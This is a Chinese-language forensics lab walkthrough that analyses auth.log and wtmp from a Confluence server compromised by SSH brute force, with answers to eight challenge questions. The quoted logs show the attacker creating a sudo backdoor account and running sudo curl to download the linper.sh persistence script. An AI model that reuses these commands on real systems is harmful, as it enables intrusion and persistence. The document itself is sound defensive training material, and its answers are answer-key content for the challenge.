Brutus

在这个非常简单的 Sherlock 中,您将熟悉 Unix auth.log 和 wtmp 日志。我们将探索一个场景,其中 Confluence 服务器通过其 SSH 服务被暴力破解。获得对服务器的访问权限后,攻击者执行了其他活动,我们可以使用 auth.log 进行跟踪。尽管 auth.log 主要用于暴力分析,但我们将在调查中深入研究此工件的全部潜力,包括权限提升、持久性方面,甚至对命令执行的一些可见性。

auth.log与wtmp

auth.log

  • 功能: 记录与身份验证相关的日志,包括登录尝试、认证成功或失败、sudo 操作等。
  • 文件路径:
    • 通常位于 /var/log/auth.log(Debian/Ubuntu 系列)。
    • 在 Red Hat/CentOS 系列中,类似信息可能记录在 /var/log/secure
  • 内容格式: 文本文件,可用 catless 或其他文本工具直接查看。
  • 记录的事件:
    • 登录成功和失败(通过 SSH、本地终端等)。
    • PAM 模块事件。
    • sudo 使用。
    • 公钥验证失败。
    • 与认证相关的系统进程日志(如 sshd)。
  • 用途:
    • 排查登录失败或未授权的尝试。
    • 审计和监控用户行为。
    • 识别潜在的安全问题(如暴力破解攻击)。

wtmp

  • 功能: 记录用户登录、注销、系统启动/关机等事件。
  • 文件路径:
    • 通常位于 /var/log/wtmp
  • 内容格式: 二进制文件,不能直接用文本工具查看。
  • 记录的事件:
    • 成功的用户登录。
    • 用户注销。
    • 系统启动和关机。
    • 会话信息。
  • 用途:
    • 查看系统用户活动记录。
    • 审计登录时间、会话时长等。
    • 分析用户行为趋势。

Task 1

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

分析auth.log,您能否识别攻击者用于实施暴力攻击的 IP 地址?

大量来自65.2.161.68的ssh登录尝试,明显在爆破ssh

image-20250105032556203

Task 2

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

暴力破解尝试成功,攻击者获得了对服务器上帐户的访问权限。这个账户的用户名是什么?

Accepted通过验证

Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2

root

Task 3

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

Linux用户登录信息放在三个文件中:

  • /var/run/utmp:记录当前正在登录系统的用户信息,默认由who和w记录当前登录用户的信息,uptime记录系统启动时间;

  • /var/log/wtmp:记录当前正在登录和历史登录系统的用户信息,默认由last命令查看;

  • /var/log/btmp:记录失败的登录尝试信息,默认由lastb命令查看。

三者均为二进制数据文件,结构完全相同,由/usr/include/bits/utmp.h文件定义了这三个文件的结构体。

lastlog、last、lastb、ac、who、w、users、utmpdump等可查看登录日志

读取指定文件

utmpdump [FILE]
last -f [FILE]			#默认读取/var/log/wtmp
lastb -f [FILE]			#默认读取/var/log/btmp
who [FILE]

utmpdump

可以发现前面验证时间(06:32:44)与打开终端时间

image-20250105034201800

2024-03-06 06:32:45

Task 4

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

登录时将跟踪 SSH 登录会话并为其分配会话编号。为问题 2 中的用户帐户分配给攻击者会话的会话号是什么?

Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.

37

Task 5

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

cyberjunkie

创建用户组

  • 创建了一个名为 cyberjunkie 的用户组,组 ID(GID)为 1002,并将其添加到了 /etc/group/etc/gshadow 文件中。

创建用户

  • 创建了一个名为

    cyberjunkie
    

    的用户,其属性如下:

    • 用户 ID(UID):1002
    • 组 ID(GID):1002
    • 主目录:/home/cyberjunkie
    • 默认 shell:/bin/bash

设置密码

  • 成功为用户 cyberjunkie 设置了密码。

权限提升

  • 将用户 cyberjunkie 添加到 sudo 组和其对应的 shadow 组中,从而赋予该用户管理员权限。

image-20250106164917017

Task 6

What is the MITRE ATT&CK sub-technique ID used for persistence?

用于持久性的 MITRE ATT&CK 子技术 ID 是什么?

MITRE ATT&CK®

T1136.001

Task 7

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

根据之前确认的身份验证时间和会话在 auth.log 内结束,攻击者的第一个 SSH 会话持续了多长时间?(秒)

根据auth.log以为是从06:32:44-06:37:24,但实际auth.log主要记录与身份验证相关的日志

Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:34:01 ip-172-31-35-28 CRON[2575]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:34:01 ip-172-31-35-28 CRON[2574]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar  6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:36:01 ip-172-31-35-28 CRON[2641]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:36:01 ip-172-31-35-28 CRON[2640]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:37:01 ip-172-31-35-28 CRON[2654]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:37:01 ip-172-31-35-28 CRON[2653]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

而wtmp记录会话信息

image-20250106193736014

可以看到第二条是06:32:45-06:37:24,共计279

Task 8

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

攻击者登录了他们的后门帐户,并利用他们的更高权限下载了脚本。使用 sudo 执行的完整命令是什么?

在auth.log中

Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

有意思的是,虽然 auth.log 不是用于跟踪命令执行(如 auditd 等)的对象,但当使用 sudo 关键字执行命令时,该命令会auth.log登录,因为系统需要验证帐户权限才能获得该命令的根级别权限。

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh